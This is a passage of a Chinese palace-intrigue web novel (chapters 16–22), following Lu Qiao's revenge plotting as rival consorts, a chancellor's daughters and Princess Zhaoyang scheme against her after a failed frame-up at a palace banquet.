“哦?”淑贵妃转了转眼睛,警告地看着她,“沈清婉,昭阳郡主所说可属实?”
沈清婉捂着额头,鲜血从她的指缝间流出。
淑贵妃与皇后,她只能站皇后。
别无选择。
她咬牙切齿,一字一句:
“一切都是臣女的错,自沈乔被父亲接回家中后,她屡屡借嫡女的身份欺辱臣女,臣女忍无可忍才求到昭阳郡主名下。”
“昭阳郡主只说借人帮我,却丝毫不知我要做何事。”
沈清婉一语毕,昭阳郡主这才稍稍心安。
淑贵妃愠怒再一次问道:
“当真全都是你安排的!”
“当真。”
沈清婉咬死认下,淑贵妃也别无他法。
“好!好!好!”
“昭阳!”淑贵妃凤眸怒视昭阳郡主,“哪怕全程皆是她在安排,可这男子句句话不离你昭阳郡主,你也难辞其咎。”
“你乃当朝郡主,本宫会如实禀报皇上皇后,让崔将军好好管教管教女儿!”
她转头望向跪在一旁,面如死灰的沈清婉。
脸色冷冷:“着本宫口谕,赏沈家四小姐五十大板,送回沈府自省,三年内不得再踏入皇宫半步。”
说罢,贵妃拂袖而去。
大好的机会却无法锤死昭阳郡主,折了皇后羽翼,淑贵妃此时正怒火上头,对沈清婉是重重罚过。
五十大板?
这板子打下去,以沈清婉的身子怕是半条命都要没了,而后听闻三年内不得踏入皇宫半步,岂不是意味着所有皇宫宴会,她都再也沾不上边,那她岂不是与皇子妃无缘!
念及于此,沈清婉再也受不住晕了过去。
其余吃瓜众人默默不语,返回席面上。
但回去之后,这里发生的事将会传遍整个上京。
第17章 来看看她
淑贵妃回到宴席上与皇上低语几句,皇上瞬间脸色不佳。
把崔尧与沈自山叫到跟前训斥。
“崔将军、沈丞相,你们二人可真是教女有方啊!”
二人一脸懵逼,齐齐下跪。
席间其他众人也有些诧异的窃窃私语。
沈自山:“陛下息怒,不知臣的女儿......”
皇上虽怒,但此事实在不宜在大庭广众下开口。
“你们二人自己回去问问。”皇上转头不满地看着皇后,“皇后,你也当自省才是!”
皇后被当众批评,也是一脸懵。
只能连连认错,心里暗自排腹。
到底发生了何事?
为何又与沈自山和崔尧有关?
淑贵妃得意地看着坐在一旁的皇后,哪怕无法严惩崔氏,如此打压一番皇后这个**,也算是出了她平日里的一口恶气。
这沈自山找回来的女儿有点意思。
二人回到座位上,想破脑袋也不知到底发生了何事。
其余贵妇也陆陆续续回到宴席上,私声低语,众人目光皆不经意间朝他二人传来。
二人七想八想,直到小厮上前,悄悄附在他们耳后一阵通禀。
崔尧脸色难看,一股怒火油然而生。
而沈自山,脸色阴沉得仿佛能滴出水来。
二人在席面上坐着,伴着其他众人的眼神以及皇上不满的语气,只觉得如芒刺背、如坐针毡。
*
柳氏在家里焦急地等着,她总觉得女儿今日在皇宫陷害那沈乔一事十分不妥。
若成功,只不过是出了所谓的一口恶气,可与清婉而言并无实质的益处,可若一朝失败,柳氏根本不敢想若清婉失败会有什么下场。
只是可恨,那沈清芷平日里装得跟不染凡尘的天仙一样,背地里做着煽风点火,拿着旁人当枪使,自己坐收渔翁得利之事。
柳氏一个贱籍出身,能嫁给沈自山,并且在这沈府站稳脚跟,定然有她的成算,可惜清婉被她娇惯过了头。
那日沈清芷来怂恿清婉时,她就该劝下来的。
实在是清婉被怒气冲昏了头脑。
她如何劝都劝不动。
就在她担忧时,院中一阵吵闹,沈清婉竟被人抬了回来。
柳氏连忙跑上前,沈清婉此时臀部被打得血肉模糊,小小的脸蛋也苍白毫无血色,整个人奄奄一息。
一个娇生惯养的贵女,被打了皇宫里的下人打五十大板。
她能活着就算不错了。
“娘......”
柳氏见此场面,两眼一黑差点晕了过去。
她的眼泪止不住地流。
“快,叫大夫!”
说完,又好像想起什么似的,慌忙中她拉住丫鬟,“慢着,让大夫带一些普通的金疮药即可......”
一切安排完,她才哭着追进了房间。
沈自山终于熬到宴会结束,黑着脸坐上马车,赶着回了府。
一回府上,径直冲向疏影居。
嘭——
他一脚踹开房门。
坐在房屋以泪洗面的柳氏也是一惊。
早已知晓前因后果的柳氏,忙上前抱住沈自山的腰。
慌忙道:
“相爷...相爷.......清婉她知道错了.......”
可沈自山却毫不理会,一把甩开柳氏,柳氏猝不及防跌倒在地。
装上屋内的瓷瓶,碎了一地。
沈自山却径直朝床上的沈清婉走去。
每一步,都让沈清婉胆颤。
沈清婉趴在床上,臀部剧痛,让她无法挪动半分,只能恐惧地看着沈自山,这个曾经把她捧在手心里疼的父亲。
“爹......”
沈自山拿起手边的茶壶,又又一次地砸向沈清婉的头。
“爹什么爹!”
“我沈自山没你这个女儿!”
“你害得我受人嘲笑,我今天非打死你不可!”
柳氏见状忙扑了过来,她倒在沈自山的脚边,哭着。
“相爷,清婉已经挨了五十板子了,您就别生气了。”
“那是他活该!”沈自山指着沈清婉骂道:“小小年纪竟然如此恶毒,在宫宴上陷害自家姐妹!”
“这也就算了,竟还如此蠢笨,把事情闹得人尽皆知!”
他拍拍自己的脸:“本相的脸都要被她给丢尽了!”
在沈自山眼里,陆乔如何并不重要,他气的是沈清婉的
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无能,敢做却无法善后,还让他被皇上当场斥责。
他越想越气!
环顾四周,试图找个趁手的工具。
柳氏忙抱住沈自山的胳膊。
“相爷,你若再打下去,清婉今日怕是要没命了。”
沈自山瞥了床上的沈清婉一眼,她因方才沈自山砸的茶壶,半边脸都是鲜血。
下半身的伤口虽被简单处理了,但鲜血还是隐隐渗出了衣服。
沈清婉的小脸苍白,眼眶含泪不敢言。
让人不由得心疼。
柳氏故意让人只清理创面简单包扎,为的就是让沈自山此刻心软。
“哼!”沈自山冷哼一声背过身去:“打死她,也比她在外害我的强!”
柳氏哭得梨花带雨。
“相爷,这事婉儿确实做错了不假,可当下有件更重要的事相爷却忽略了。”
沈清婉做错事是板上钉钉,若要救她,必须支开沈自山的思绪。
“什么事?”
“妾身方才听婉儿讲了前因后果,妾身心想,为何今日淑贵妃到的是刚刚好,还为沈乔解围。”
“可沈乔不是相爷半月前才从外面寻回来的吗?她又怎么会认识淑贵人?她沈乔究竟是什么人?”
柳氏意有所指,继续说着:“相爷你可别忘了,我们相府和太子的关系......”
“若皇后与太子误以为我们丞相府暗自倒向了淑贵妃之子齐王殿下,那......”
柳氏跟在沈自山身边许久,甚得沈自山疼爱,朝堂他也偶尔在柳氏面前提及。
柳氏的话说得恰到好处,沈自山脸色一变。
他瞬间冷汗津津。
方才在皇宫里他是被怒气冲上了头,如今细细想来柳氏说得句句有理。
现在正是夺嫡的关键时期。
若这时太子起了疑心,那他之前所做的一切岂不是前功尽弃。
念及于此,他也顾不得沈清婉了,只得匆匆离开。
躲过一劫的沈清婉这才喘了口气。
*
深夜,上京城西,破庙前柳树下。
萧允珩还是找了过来。
他不愿从耳朵里听见下属的汇报,他要亲自过来。
来看看她。
第18章 密见淑贵妃
树下一众侍卫忙努力挖着,他们跟随主子多年,当初主子私自葬了平阳侯府所有人,唯独没有找到老侯爷的小孙女的尸身。
这些年,主子一直在四处寻找,总念着或许她活下来了呢,她是主子活在这世上唯一的念想了。
突然一节白骨露了出来,王五心里一沉,他让众人丢掉铁锹,用手轻轻挖开白骨身旁的土......
王五默默走到萧允珩身后,弓着腰,双手托着一块玉佩,沉声道:
“主子,这树下确有一具**白骨,白骨旁还有一块玉佩。”
萧允珩身形一凝,他僵硬着转身,拿起那块玉佩。
这玉佩,他认识。
这是平阳侯府的玉佩,这玉佩上缺损的一角,还是那日他们打架时,他亲手摔的。
为此,臭丫头还哭了。
他看了这个玉佩许久许久......
终于,缓缓开口:“都退下吧,我想一个人待会儿。”
夜幕已深,月光洒在萧允珩的身上,显得他更加孤寂。
他坐在这株柳树下,迎着月光细细端详着手中的玉佩。
轻轻地擦拭着上面的尘土,仿佛生怕弄疼了这枚玉佩,若是边疆的战士们看见现在的萧允珩定然大吃一惊。
他们那个对敌人狠,对自己更狠,甚至不用麻药让军营生生用刀划开伤口取出暗器而面不改色的宁王殿下,如今神情温柔。
萧允珩喃喃自语:
“臭丫头,连你也走了。”
“只剩我一个人了......”
*
宫宴结束,陆乔坐在回府的马车上。
今日皇宫之中险象环生,哪怕是到了现在,其中许多关窍,她都没有想明白。
她吞吞吐吐欲言又止。
陆乔闭着眼睛靠在马车上。
“问吧。”
珠儿:“小姐,今日昭阳郡主为何要害你,你明明才回上京?”
陆乔答道:
“今日宴席上,沈清婉带着昭阳郡主介绍我认识,她恨我入骨,怎会让我攀附上昭阳郡主这根高枝。况且,我不过是沈相流浪在外多年的女儿,如今又被指婚给人人嫌恶的五皇子,昭阳郡主没有必要屈尊降贵地走到我的跟前向我示好。”
“她们二人对我要么有所图,要么有所恨,若昭阳郡主有所图谋,沈清婉定会偷偷在我这里得到,再去向昭阳郡主示好。所以,在看到昭阳郡主的第一眼,我就知道她们要害我。”
“珠儿,你问得对,我才回上京,为何昭阳郡主要害我呢?”
陆乔继续道:“我回到上京之后一直默默无闻,唯一的变化,就是今日被皇上指婚给五皇子。”
“想来,那昭阳郡主心系五皇子,自己却又无法左右五皇子的婚约,所以才对我起了恨意。”
听到昭阳郡主心系五皇子,珠儿霜月二人仿佛吃了天大的瓜。
见珠儿提了问,一直默默不语的霜月,也好奇地开口。
“那小姐,您为何让奴婢去给淑贵妃带话,您怎么知道淑贵妃一定会来救您呢?”
珠儿疑惑:“霜月,小姐让你带的什么话?为何你的一句话,淑贵妃便匆匆赶来。”
“速至暖阁,可除昭阳。”
“只有这八个字?”
霜月点头,“只这八个字。”
陆乔再度开口。
“淑贵妃之子齐王殿下一直以来与太子分庭抗礼,想来后宫之中皇后与淑贵妃定然不睦已久,而昭阳郡主既是皇后侄女,又是崔氏嫡女,崔氏是皇后的母家,若能钉**昭阳郡主,无论是拉崔氏下水还是拉皇后下水,淑贵妃都是只赚不亏。”
“所以,这么大的诱惑,哪怕是陷阱,淑贵妃都必须去看看。”
陆乔耐心解释后,马车内一片寂静。
珠儿是为了小姐的今日所遇而心有余悸,而霜月却是在恐惧眼前的人。
若有心,能理清朝廷与后宫之中的争斗不难。
可难的是,陆乔流落在外,半月前才回上京,并且今日第一次到皇宫。
她居然能在**后立马反应过来其中关窍,在救下自己的同时,还能给对方重重一击。
差距是时间!是揣度别人的心思!是如此快速地反
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应一切!并布局得丝毫不漏!
她不知道陆乔是如何解毒,又是如何将那个贼人捆住。
但她知道,这不是她该问的。
夜已深,大雪纷飞,积满整条街道,寂静无比,只有车辙碾压积雪的声音。
突然马车停了下来。
车前,一人声音响起。
“想必这是沈家小姐的马车吧,我是孙尚书府的张嬷嬷,我们车上的手炉突然熄了,可我家主母实在畏寒,不知沈家小姐马车内可有多余的手炉匀一个出来,老奴感激不尽。”
霜月从一旁拿起一个手炉,看着陆乔的脸色。
陆乔缓缓睁开眼睛。
“你跟着我,我亲自去送,正好拜访一下夫人。”
陆乔掀开车帘,才刚走下马车,便迎来一阵刺骨的寒风。
霜月跟在后面,风雪刺痛她的眼睛,她强睁着将陆乔的披风弄得更加严密了些。
“小姐,奴婢去就行了,您实在不必如此辛苦。”
“我来上京也不认识几个人,如今恰好碰到,也算是打个交情。”陆乔脚步踩在雪地上咯吱作响,“不必多说,走吧。”
孙府的马车停在前方不久,见陆乔前来,赵嬷嬷连忙掀开车帘送陆乔入内,而霜月便随赵嬷嬷一并在车外等候。
看清车内之人,陆乔并不惊讶。
“臣女,见过淑贵妃。”陆乔规矩行礼。
淑贵妃不语,淡淡地审视着眼前人,并未让陆乔起身。
“你怎知是我。”
陆乔答道:“臣女原是不知的,只是臣女想着今夜淑贵妃怕是想见见臣女,所以一路上都在猜测,您会在哪里见臣女。”
淑贵妃挑眉,“你很聪明。”
这句话,她是真心的。
可转而怒道,“敢利用本宫,你也很大胆!”
陆乔双膝跪地,头磕地面:“今日臣女被逼实属无奈,幸得贵妃娘娘及时赶到,臣女感激不尽。”
“可你派人同我说的,并不是救你。‘速至暖阁,可除昭阳’,你可知你跟我说的这句话,是杀头的大罪。”淑贵妃神色冷厉。
第19章 追随淑贵妃
“你又怎么知道,我一定会去!”
陆乔:“臣女从沈清婉处听闻,后宫之中皇后欺辱贵妃娘娘久矣,想来贵妃娘娘心中定然愤懑,故而私自联系贵妃娘娘,臣女也不肯定贵妃娘娘一定会来。”
沈清婉从未跟陆乔提起,可陆乔需要一个理由,反正今日沈清婉已经彻底得罪淑贵妃,也不差这一个罪名。
淑贵妃听到自己受皇后欺辱的事居然传到宫外之人耳中,她心中对皇后更是恼怒不已。
她不再言语,只是细细端详着方才陆乔递过来的暖炉。
这个沈家嫡女,是杀?是留?
马车内没了声音,只隐隐传来窗外风雪敲打马车的声音。
陆乔开口,打破了宁静:“臣女从此愿跟随淑贵妃,为淑贵妃与齐王殿下略尽绵薄之力。”
淑贵妃挑眉:
“本宫还未开口,你怎知本宫要问什么。”
“若贵妃娘娘是要杀臣女灭口,便不会借孙尚书府的马车来见臣女。”
“臣女既然对贵妃娘娘说出‘可除昭阳’这四个字,就代表着臣女再也没有退路。”
陆乔故作愤恨:“我流落在外十几年,才回府上便处处受人欺辱,若不是贵妃娘娘到得及时,臣女怕是要被昭阳郡主和家中妹妹害死在皇宫中。”
“她们投靠皇后娘娘,误以为太子可登大业。可臣女认为齐王殿下待人温和有礼,英明睿智,贵妃娘娘凤仪天成,才是真正的贵人。”
陆乔的话说得大逆不道,可她别无选择。
她在吩咐霜月找淑贵妃求助时,她就知道淑贵妃必会找上她,这天下没有白吃的午餐。
她借了淑贵妃之力,自然要付出代价。
不过,这也正中她的下怀。
虽然萧允珩或许会为平阳侯府复仇,但,她不知萧允珩会做到何种地步,毕竟她们二人十年未见。
十年,改变的东西太多了,萧允珩是皇子,只要他放下,一切荣华富贵,他可享用一生。
况且,只靠萧允珩一人,力量或许不够。
许久过去,陆乔的上方传来淑贵妃的一阵笑声。
“沈家嫡女,很好,很好!”
“你回去吧。”
*
崔府祠堂。
崔尧拿着手板,怒气冲冲。
“你这个逆女,还不知错!”
昭阳郡主跪在祖宗牌位前,犟着脖子,满脸不服。
崔尧挥着手板,狠狠打在昭阳郡主手心。
“若不是沈家那个丫头硬生生扛了下来,你以为淑贵妃会放过你?”
“为父告诉过你多少次!如今是太子殿下夺嫡的关键时期,我们崔府与太子殿下相互依存。”
“为了我崔府的荣耀,你是要嫁——”
昭阳郡主猛地站起身,“荣耀?”
“就为了你们口口声声的荣耀,十年了,无论我如何求你,你就是不许我嫁萧允珩,但是我告诉你,我此生非萧允珩不嫁!”
“你就不要肖想我会嫁太子,要嫁,你自己去嫁!”
啪——
崔尧怒极,反手一巴掌打在昭阳郡主脸上,将她摔倒在地,他冷笑着。
“纵使你想嫁萧允珩,你别忘了,以我们家与他的仇怨,他根本不想也不可能娶你!”
“哪怕是十年前的谋逆之案没有发生过,他的眼里除了平阳侯府那个丫头之外,根本就没有你!”
“无论十年前还是十年后,从来没有人真的拦着你,不过只是因为萧允珩——他根本就不要你!”
“我劝你听命嫁给太子,崔府是一定要出两任皇后!若你还是执意如此,我告诉你,我崔氏可不止有你一个女儿!”
崔尧将手板摔在地上,拂袖离去。
但他的话,深深刺痛了昭阳郡主的心。
她倒在地上,伸手捂着脸颊,神情阴狠。
为什么!之前有着平阳侯府的那个小**!
现在那个小****,可萧允珩还是不把她放在眼里。
哼!
萧允珩你爱不爱我又如何,哪怕你此生都不愿意娶我。
你的身边也不许出现任何一个女人,出现一个我杀一个,我会杀光她们。
我要让你知道,你的身边只能有我!
沈乔,我不会放过你的!
深夜,沈自山暗自叫来**。
正在熟睡中被叫醒的**来到相爷房中问话,一路上**心里犯起了嘀咕,怕是陆乔那祖宗今日在皇宫之中又惹出了什么事端来。
他的大脑飞速思索着,不一会就走到沈自山房中。
**恭敬跪下:“小的见过相爷,不知相爷深夜唤小的前来问话,是有何事?”
沈自山坐在桌旁,桌上的烛火闪烁,令**看不清此时沈自山的表情。
“你把从接到沈乔起一直到回到丞相府,之间发生的所有的事,仔仔细细同我讲清楚
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。”
**心中咯噔一下。
讲清楚......
讲清楚你女儿怎么作死以及怎么被陆乔弄死的这件事吗?
**心里暗自腹诽,但面色淡定。
他老老实实将陆乔交待好的措辞一一答复,好在沈自山寻找到那个苏婉婉也就是靠着一枚玉佩,而且沈自山对于这个女儿不过是利用而已,并没有半点父女之情。
陆乔想要冒充,很简单。
“那你可知沈乔与淑贵妃可有往来?”
**茫然抬起头:“淑贵妃?”
这祖宗去了皇宫一趟,惹上淑贵妃了?
“不曾听闻大小姐说她们有所往来啊?”他心里想了想,又补充道。
“不过回府的路上,小人将现在皇宫的几位高位妃嫔和皇上的几位皇子,以及目前朝中与我们丞相府有些往来的大臣,都给大小姐提过一嘴。”
**故作贴心地说着:“小人是想着大小姐回到我们丞相府,那便是我们相府的嫡女,关乎到我们相府的颜面。若是因为有什么不清楚的冲撞了贵人,又或者影响到了相爷办事,那便不好了,这才提前将小人知道的全部讲解清楚。”
不知道相爷问淑贵妃是为什么,**索性将上京的贵人全点了一遍,反正他只说在陆乔面前提过一嘴,反正他说过,陆乔选择性记忆就行,无论她记得与否,想来他的说辞都能圆的回来。
“这么说来,若昭阳郡主要害她,她知道昭阳郡主皇后侄女,皇后怕是帮不了她,所以她才去求淑贵妃。”沈自山自己思索着,喃喃自语。
“这个逆女怕是不知道我们丞相府和皇后的关系......”
但沈自山依旧有些不满。
“无论如何,她也应当知道自己的身份,怎么能去找淑贵妃求救!”
这个逆女即便是自己受了害,也实在不应该让他深陷陷阱。
沈自山对**说道:
“从明日起,这个逆女罚月例半年。”
**惊讶地看着。
陆乔本就才回丞相府,手上哪有什么银子,若再罚月例,怕是要捉襟见肘了。
只不过,与命相比,钱自然是小事。
看样子他蒙混过关了。
待陆乔回来了,他得赶紧找陆乔对好口供。
这祖宗可千万别再惹事,别把他的小命给一并带走了。
这一夜,注定会有很多人,夜不安寝。
第20章 崔尧之子
第二日,醉逢楼。
昭阳郡主约沈清芷相见。
“郡主殿下平日与我交往甚少,倒是与我家清婉妹妹更加熟稔,不知今日为何约私下我见面?”沈清芷端坐着打量眼前人。
“沈清婉?”昭阳郡主冷笑道,“废物一个,不过是我利用的棋子罢了,没想到她那么愚蠢。”
“倒是你,让我更有兴趣。”
沈清芷抬手整理着额边碎发,浅浅笑道。
“恕清芷不明白郡主殿下的意思。”
昭阳郡主端起酒杯,“现如今沈乔一回相府,你这嫡女的位置不好坐吧。”
沈清芷低眉浅笑:“郡主说笑了,她是我父亲流落在外多年的女儿,是我同父异母的亲姐姐,她回来我可欢喜得很。”
“可她是原配正室嫡出生,你不过是由侧室扶正之女。”昭阳郡主眼神鄙夷,“无论在哪,她的身份可都高出你一截。”
沈清芷放在膝盖上的手掌默默握紧成拳,她深吸一口气,维持着自己的端庄。
“她是谁都不重要,无论她是谁,我仍旧是相府嫡女,郡主又何必说起这些挑拨的话来。”
见沈清芷死不接茬,昭阳郡主有些恼怒。
“别以为我不知道你在想什么,只要她在一日,你就永远都会像阴沟里的老鼠,整日里装得清高,但干的都是见不得光的事情,永远上不得台面。”
“你!”沈清芷手掌怒拍桌面。
似是想起什么,沈清芷嘲弄地看着昭阳郡主,语气一转。
“我这嫡姐不日就要嫁给宁王殿下,我又有何惧?”
“倒是昭阳郡主你,一片芳心,只能如流水而逝了。”
昭阳郡主额间青筋直跳。
她忍了又忍。
“我们做个交易如何?”
沈清芷挑眉:“交易?”
“你杀了沈乔,我助你登上太子妃。”
沈清芷呼吸一凝,她一直将这个念头藏得极深,这事除了母亲,也就只有父亲知晓。
她,怎么会知道?
昭阳撇了沈清芷一眼,不屑地站起身。
“你整日里故作高雅,装出一副清逸脱尘的样子。”
“但,人只要心里有欲望,它就会不由自主地从眼睛走出来。”她俯身凑到沈清芷颈间,轻声道:“要么你就真的什么都不求,不然,只要你漏出了那么一刻,就一定会被看见。”
昭阳郡主素来爱和沈清婉打交道,因为她所行之事,就是她自己。
可她很厌恶沈清芷,这种人就像躲在暗处的毒蛇一样,不知何时会给你咬上致命一口。
而且,看着这种永远披着一张皮囊的脸,扮演者与自己远不相同的角色,她觉得可悲、可恶。
不如做张人皮灯笼来得漂亮。
“你如何能助我?”沈清芷忍不住地问着。
终于漏出狐狸尾巴了,昭阳郡主笑着坐回椅子上。
“就凭皇后是我亲姑姑,太子是我表哥,我是崔氏嫡女,我若帮你,其他人绝不会越过你。”她勾起唇角,靠着椅背,仰下巴看着沈清芷,一字一句。
“更何况,就凭我不争,已经是在助你了。”
沈清芷握着的拳头紧了又松,昭阳郡主的话是难听,但说得没错。
她浅低着一双好看的眸子,思索着。
她是厌恶沈乔仗着原配嫡女的身份在她头顶蹦跶,但,不至于让她冒着危险**。
现在婚约之事已定,沈乔是死是活倒也没有那么重要了。
可,若是以太子妃之位来换......
许久,沈清芷红唇轻启。
“好,我答应你。”
同日下午,陆乔也带着珠儿出了门。
天上飘起片片雪花,珠儿裹得紧实,跟在陆乔身旁撑着油纸伞。
陆乔穿着绛红狐裘斗篷,领口雪白凤**簇拥着微微泛红的脸颊,难得的娇憨可爱。
再回上京,除了风雪太大之时,平日里陆乔总爱步行,不乘马车。
她们二人在街上走着逛着,看看不同的店铺,不一会便没了踪影。
再次看见,二人已经现在一个了无人烟的巷尾。
陆乔推门而入,巩钧早已在屋内等候。
珠儿在后面默默将伞收了起来,抖了抖伞面的积雪。
见到陆乔,巩钧忙大步走来,紧张地上下打量着陆乔。
“大小姐,我一早便听闻昨日宫中之事,你一切可还安好?”
陆乔笑笑:“耿大哥不必着急,我一切都好。”
听到陆乔亲口报平安,巩钧终是放下心来。
他不由得觉得后怕,怒气上头,“哼,这沈自山养的什么女儿,蛇蝎心肠,竟也能做出这种事情来。”
“若我在现场,定要砍了她!”
陆乔有些感动,抬
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手示意巩钧坐下。
“耿大哥不必为我担心,沈清婉也被淑贵妃丈责五十,三年不许入宫,事情都已了了。”
她继续道:“我前些日子托耿大哥查的人,不知怎么样了?”
巩钧如是答道:
“已经查清楚了,你让我查得崔尧,与当今皇后是亲兄妹。”
“十年不过是城防营的小小都司,但在平阳侯一案中先是配合沈自山抄家灭门,后又带领城防营在一年内暗地里四处探查,清除平阳侯府余孽。”
“因此得皇上夸奖,从而一跃晋升为城防营统领。”
当年平阳侯府上下,多半是被他所杀,在听到崔尧还整整追杀了平阳侯府之人一年时,一股怒火直冲她的心间,她的手忍不住的发抖。
“哼?清除余孽?”
“是他与沈自山怕夜不安寝吧!”
巩钧也自责不已:“只恨我当时身在边关,无法守住平阳侯府。”
“你说的这些我都知道,他这十年来为官如何?可有破绽?”陆乔继续问道。
巩钧挠了挠脑袋:“我与他本就是城防营的同僚,他分属我上司,我被调任城防营后,也是处处对他不满,可他行事谨慎,至少看起来为官清正,平日里也是难找出错处。”
闻言,陆乔眉头微蹙。
像崔尧这样灭了平阳侯府满门,还暗地里追杀一年的人,必然是处处谨慎小心。
若要找出他的错处,怕是难上加难。
“他的子女呢?”
巩钧沉吟片刻:
“他有一子一女,女儿就是昭阳郡主,自幼习武,前几年甚得皇后喜爱,这两年不知为何,貌似与皇后关系不佳,听说是为了和太子的婚事。”
“另有一子崔云峥,他倒是个不成器的,整日里流连烟花之地,文不成武不就,奈何三代单传,家中祖母溺爱得很。不过平日里他倒也不敢犯下大事,崔尧又实在孝顺,碍着家中母亲的意思,他也不怎么敢管。”
“崔云峥?”陆乔眼中一亮,她思索着什么,浅笑着,“麻烦巩大哥帮我细细打探他的行踪,常去哪家青楼,钟爱哪位花魁,这些我都要知道。”
巩钧有些疑惑,却也老实应下。
他是个习武的粗人,不明**在想着什么。
但,老侯爷救命之恩他永世不忘,小姐吩咐的事,他一定照办。
第21章 萧允珩要见她?
主院屋内,王氏来回踱步。
她不安劝道:“芷儿,你与昭阳郡主合作无异于与虎谋皮,那疏影居的沈清婉便是下场。”
沈清芷不语,只立在桌边纤手执笔练字,她肌肤胜雪,手背青色血脉若隐若现。
寒风吹开窗户,带着点点雪花,落在她的桌畔,撩动乌黑如墨的长发。
整个人清冷脱尘,可谁又知这皮囊下装的却是蛇蝎心肠。
见沈清芷不为所动,王氏更是着急。
“芷儿,不过是杀个沈乔而已,为娘相信你,自是不为此事担心。”
“可,你与昭阳郡主合作,她的承诺有何可信?若她矢口否认,你又当如何?”
“到那时,她便手捏你**的证据了。”
王氏走到桌前,耐心劝解道:“况且,那人是谁?那是太子,是储君,是未来的皇上!”
“太子要娶谁,哪里是你们两个闺门女子可决定的。”
“昭阳郡主所说的话,不过是在利用你罢了,此事我们需得从长计议。”
“芷儿,你莫要被昭阳郡主利用了。”
沈清芷停笔,偏着头无奈道。
“娘,我又不是沈清婉那个蠢货,我有那么傻吗?”
“昭阳郡主和我,谁利用谁,还不知道呢。”
王氏来了精神,“这么说,你不会杀沈乔了?”
沈清芷摇摇头,“还是要杀。”
她眼神泛起一丝狠厉,“这些日子,她在我头上作威作福也是够了!”
一直以来,她才是丞相府唯一的嫡女,沈乔一回来就嚣张不已,连消带打的就把账房管事换了。
她如何忍得下去。
挡在她前面的人,都得死!
“那你要如何......”王氏迟疑问着。
“人若被我所杀,那自然是我的把柄。”
“但人若是被郡主所杀,那便是我为刀俎,她为鱼肉。”
一语毕,沈清芷放下手中的毛笔。
宣纸上,赫然留下一字。
“杀”
笔锋丝毫没有她往日里娟秀的样子,这一字,满是凌厉的杀气。
沈清芷走到王氏身边,耐心扶着她坐下。
王氏早已听得云里雾里,她这个女儿自小主意大,她根本就猜不透她心中所想。
“芷儿,你到底在说什么?为娘听不懂。”
沈清芷看着眼前的娘亲,浅笑道:
“她昭阳郡主要我**,自然是要配合我。”
“一切,我自有安排,娘你不用担心。”
说完,她转头吩咐丫鬟。
“你亲笔给昭阳郡主写信,就问宁王殿下近日行踪。”
*
除夕将至,整个丞相府都纷纷装点起来。
陆乔的院中也是如此。
珠儿一大早便前后忙活,吩咐着霜月、红梅打扫院落,又带着小厮张罗着提前挂好灯笼。
安排得差不多了,才推门跑进室内,笑着道。
“小姐,今日就是除夕,今年奴婢终于又可以跟往年一样陪着小姐一起守岁了。”
珠儿方才在院中忙活许久,现下小脸冻得红扑扑的。
陆乔无奈地向她招招手。
“过来烤会儿火吧,你身上的伤才刚好,可别又染了风寒。”
她伸手点了珠儿的额头。
“小心你明日病得起不来床,那我可就管不了你了。”
珠儿皱眉,抬手揉着额头。
“奴婢也是想着这个年,小姐可以过得喜庆些嘛。”
陆乔无奈地摇了摇头。
“不过是平常的一天罢了。”
可珠儿却连连摇头。
“才不是!”
“往年老侯爷为了小姐高兴,可是提前半月就开始装扮侯府,尤其是小姐的院落,屋檐下的灯笼都要提前吩咐工匠做好几种样子呢。”
念及过往,陆乔心中不由得泛起一阵暖意。
是啊,小时候的她,哪怕是要天上的星星,爷爷都会给她摘下来。
看见小姐不语,珠儿才发现自己说错了话。
她拉开话题:
“小姐,你之前跟我说过,你流落在外几年后,又被陆氏夫妇带回了家。”
“那时候,你们是怎么过年的呀。”
陆乔勾起唇角,脑海里满是回忆。
“乡下人过年哪有什么讲究,能找到村口会写字的爷爷,写上一副红底福字倒挂在家中,那便是一年到头所有的装扮了。”
“过年的时候,小姐过得不开心吗?”珠儿歪着脑袋问着。
“也是开心的。”陆乔说着,“穷和不幸福,是两件事。”
“那时候虽然
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家里穷,养父母没有孩子,他们一直把我当亲生女儿抚养。”
“过年的时候,不是一直都有给孩子压岁钱的习惯吗?可那时我们家里哪里拿得出钱来给我包压岁钱。”
“养父怕我心里难过,怕我羡慕其他的孩子,他年年除夕都会亲手给我雕刻一个木偶娃娃。”
陆乔给珠儿比划着大小,“你不知道,养父手艺可好了,若你亲眼看见定是要惊讶的,他雕出来的娃娃和我简直一模一样。”
陆乔心中感慨,“养父母虽然没有什么钱,我们一家三口偶尔还会饿肚子,但是他们给我的爱,不比别人少。”
她何其有幸,幼时有平阳侯府的家人,后来又有养父母,无论钱多钱少,他们给她的都是满满的爱。
可她却两次,整整两次,眼睁睁地看着疼爱自己的人死在眼前,她却无能为力。
炭火映入她的眸子,里面流露出无尽的哀伤。
“小姐......”珠儿看着陆乔,心中不忍。
门外脚步声,红梅声音响起:
“小姐,有你的一封信。”
陆乔的房中只有珠儿可随意进出,霜月和红梅是不敢的。
陆乔擦了擦眼角的泪水,珠儿也站起身恭敬站在陆乔身旁。
“进来吧。”
红梅这才推门而入,她递过一个信封。
“门房小厮送来的,来者说是宁王府的小厮。”
陆乔接过信笺,“你下去吧。”
红梅恭敬告退。
那一次雪夜下跪,霜月与红梅对这个乡野长大的主子,没有了半分不敬之意。
打开信笺,里面只有一句话。
“酉时一刻,醉逢楼百蕊阁见。”
他要见她?
自皇宫那日见面后,她们二人从未有过联系,为何突然要见面。
“珠儿,你去门房打听一下,送信的人是宁王府的哪位小厮,可否记得长相。”
珠儿点了点头,“好。”
她转身正欲出门,陆乔又道。
“吩咐霜月提前一个时辰去宁王府前偷偷看着,要注意不要让人发现,若宁王出门,便回来告知。”
“小姐,怎么了吗?”珠儿有些不明白。
“没什么,去吧。”
不知为何,陆乔总觉得有些不对。
第22章 来者不是萧允珩
过了一会儿,珠儿小跑着回来。
“问清了,门房小厮说来者的人确实是宁王府的人。”
“霜月也回了,说是亲眼看见宁王殿下出了门,往醉逢楼去了。”
难道是自己想多了?
陆乔起身,“酉时将至,让霜月吩咐小厮套上马车,我们也出发吧。”
珠儿忙翻找出披风,给陆乔披上。
“好,我马上去办。”
陆乔坐在马车里,朝着醉逢楼去。
冬日里的太阳,落的快了许多,出门时还有日光,待马车到醉逢楼时,天色已暗。
整条街上张灯结彩,很多稚童在门口玩着炮仗。
酒楼内人却是寥寥无几。
就一两个伙计,无精打采的坐在角落候着。
今日是除夕。
大多都在家中吃着团圆饭,甚少人会来酒楼。
车夫将马车栓在酒楼侧面,陆乔带着珠儿走了进去。
来到百蕊阁门前,陆乔推门而入。
只见房内桌上早已布好饭菜,可屋内却空无一人。
